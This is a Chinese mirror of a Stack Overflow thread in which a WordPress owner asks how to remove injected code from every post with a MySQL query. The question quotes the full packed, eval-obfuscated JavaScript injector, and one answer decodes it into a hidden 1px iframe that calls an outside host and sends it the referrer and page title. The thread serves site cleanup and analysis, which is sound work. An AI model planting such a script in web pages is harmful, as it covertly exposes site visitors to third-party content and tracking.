【问题标题】:Replace complicated string in MySQL替换MySQL中的复杂字符串
【发布时间】:2017-04-29 13:48:26
【问题描述】:

一些脚本小子入侵了我的 wordpress 网站,并将这段代码插入到 wp_posts 中的每个 post_content 中:

<!--844c7b74e31d727d5814a0ed667c0255--><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\'b\');2 6=7.c(7.e()*f);2 0=\'g://h.i/j/k?\';0=0+\'l=\'+3.m;0=0+\'&n=\'+3.o;0=0+\'&r=\'+6;d.p(\'<8 q="s:u;v:w" 0="\'+0+\'" x="\'+4+\'" y="\'+5+\'"></8>\')})();',35,35,'src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height'.split('|'),0,{}))</script>

我想通过 phpmyadmin 中的 SQL 查询 (UPDATE xxx SET replace(...)) 将其删除,但我没有转义字符串。

是否有任何方法/工具可以正确转义此代码并将其从表中删除?谢谢

【问题讨论】:

    标签: php mysql sql wordpress


    【解决方案1】:

    如果数据相同并且在帖子的开头或结尾,您可以使用 substring 函数从垃圾中挑选出您的数据

    update table_name set column_name = SUBSTRING(column_name,garbage_length) where 1;
    

    有关更多信息,请参阅手册 http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_substring

    你可以使用位置函数来指出垃圾的开始。 http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_position

    【讨论】:

    • 有几个变化,所以这可能会导致删除我的部分帖子:-/ 是否有一个函数可以删除初始哈希数之后的所有内容?这似乎在所有行中都是一样的......
    • 初始哈希数是否相同??
    • 然后使用位置函数来确定垃圾的开始丢弃它。 dev.mysql.com/doc/refman/5.7/en/…
    • 谢谢,最后我用了这个UPDATE wp_posts SET post_content = SUBSTRING_INDEX(post_content, '&lt;!--844c7b74e31d727d5814a0ed667c0255--&gt;', 1)
    【解决方案2】:

    刚刚查看了代码,它的评估结果似乎是:-

    (function()
        {
        var d=document;
        var razmw=1;
        var razmh=1;
        var t=d.createElement('script');
        var id=Math.floor(Math.random()*9999);
        var src='http://needalogo.net/rotation/3wBsvV?';
        src=src+'se_referrer='+document.referrer;
        src=src+'&default_keyword='+document.title;
        src=src+'&r='+id;
        d.write('<iframe style="padding:0px;
        border:none" src="'+src+'" width="'+razmw+'" height="'+razmh+'"></iframe>')
    }
    )();
    

    它似乎正在插入一个 iframe (1px x 1px),其来源是从某个网页返回的(传递了一些参数)。该 URL 已被我的防火墙阻止。

    【讨论】:

      猜你喜欢
      • 2017-09-17
      • 2016-08-17
      • 1970-01-01
      • 1970-01-01
      • 2016-01-04
      • 2021-04-07
      • 2023-03-20
      • 1970-01-01
      相关资源
      最近更新 更多